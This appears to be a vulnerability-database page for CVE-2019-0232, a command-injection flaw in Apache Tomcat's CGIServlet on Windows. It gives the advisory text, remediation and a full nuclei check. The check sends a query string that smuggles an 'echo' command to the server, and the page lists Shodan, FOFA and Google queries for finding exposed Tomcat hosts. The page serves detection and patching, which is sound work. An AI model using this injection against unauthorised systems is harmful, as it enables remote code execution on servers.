Apache Tomcat `CGIServlet` enableCmdLineArguments - Remote Code Execution

highseverity

8.1CVSS score

99.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

When running on Windows with enableCmdLineArguments enabled, the CGI Servlet in Apache Tomcat 9.0.0.M1 to 9.0.17, 8.5.0 to 8.5.39 and 7.0.0 to 7.0.93 is vulnerable to Remote Code Execution due to a bug in the way the JRE passes command line arguments to Windows. The CGI Servlet is disabled by default. The CGI option enableCmdLineArguments is disable by default in Tomcat 9.0.x (and will be disabled by default in all versions in response to this vulnerability). For a detailed explanation of the JRE behaviour, see Markus Wulftange's blog (https-//codewhitesec.blogspot.com/2016/02/java-and-command-line-injections-in-windows.html) and this archived MSDN blog (https-//web.archive.org/web/20161228144344/https-//blogs.msdn.microsoft.com/twistylittlepassagesallalike/2011/04/23/everyone-quotes-command-line-arguments-the-wrong-way/).

Impact

Attackers can execute arbitrary system commands on Windows systems when CGI Servlet is enabled with enableCmdLineArguments, leading to complete server compromise.

Fix

Upgrade to Tomcat 9.0.18, 8.5.40, 7.0.94 or later, and ensure enableCmdLineArguments is disabled.

How to confirm it

Send: GET /?&echo+{{sid}}
Positive when: contains "{{sid}}" AND not contains "echo {{sid}}" or "echo+{{sid}}" AND contains in content_type "text/plain" AND status 200

Run it with nuclei: nuclei -id CVE-2019-0232 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-0232

info:
  name: Apache Tomcat `CGIServlet` enableCmdLineArguments - Remote Code Execution
  author: DhiyaneshDk
  severity: high
  description: |
    When running on Windows with enableCmdLineArguments enabled, the CGI Servlet in Apache Tomcat 9.0.0.M1 to 9.0.17, 8.5.0 to 8.5.39 and 7.0.0 to 7.0.93 is vulnerable to Remote Code Execution due to a bug in the way the JRE passes command line arguments to Windows. The CGI Servlet is disabled by default. The CGI option enableCmdLineArguments is disable by default in Tomcat 9.0.x (and will be disabled by default in all versions in response to this vulnerability). For a detailed explanation of the JRE behaviour, see Markus Wulftange's blog (https-//codewhitesec.blogspot.com/2016/02/java-and-command-line-injections-in-windows.html) and this archived MSDN blog (https-//web.archive.org/web/20161228144344/https-//blogs.msdn.microsoft.com/twistylittlepassagesallalike/2011/04/23/everyone-quotes-command-line-arguments-the-wrong-way/).
  impact: |
    Attackers can execute arbitrary system commands on Windows systems when CGI Servlet is enabled with enableCmdLineArguments, leading to complete server compromise.
  remediation: |
    Upgrade to Tomcat 9.0.18, 8.5.40, 7.0.94 or later, and ensure enableCmdLineArguments is disabled.
  reference:
    - http://packetstormsecurity.com/files/153506/Apache-Tomcat-CGIServlet-enableCmdLineArguments-Remote-Code-Execution.html
    - http://seclists.org/fulldisclosure/2019/May/4
    - https://access.redhat.com/errata/RHSA-2019:1712
    - https://blog.trendmicro.com/trendlabs-security-intelligence/uncovering-cve-2019-0232-a-remote-code-execution-vulnerability-in-apache-tomcat/
    - https://codewhitesec.blogspot.com/2016/02/java-and-command-line-injections-in-windows.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2019-0232
    cwe-id: CWE-78
    epss-score: 0.99923
    epss-percentile: 0.99968
    cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
  metadata:
    vendor: apache
    product: tomcat
    shodan-query:
      - http.html:"apache tomcat"
      - http.title:"apache tomcat"
      - http.html:"jk status manager"
      - cpe:"cpe:2.3:a:apache:tomcat"
    fofa-query:
      - body="jk status manager"
      - body="apache tomcat"
      - title="apache tomcat"
    google-query: intitle:"apache tomcat"
  tags: cve,cve2019,packetstorm,seclists,apache,tomcat,vkev,vuln

variables:
  sid: "{{rand_text_alpha(10)}}"

http:
  - raw:
      - |
        GET /?&echo+{{sid}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{sid}}"

      - type: word
        negative: true
        part: body
        words:
          - "echo {{sid}}"
          - "echo+{{sid}}"

      - type: word
        part: content_type
        words:
          - "text/plain"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from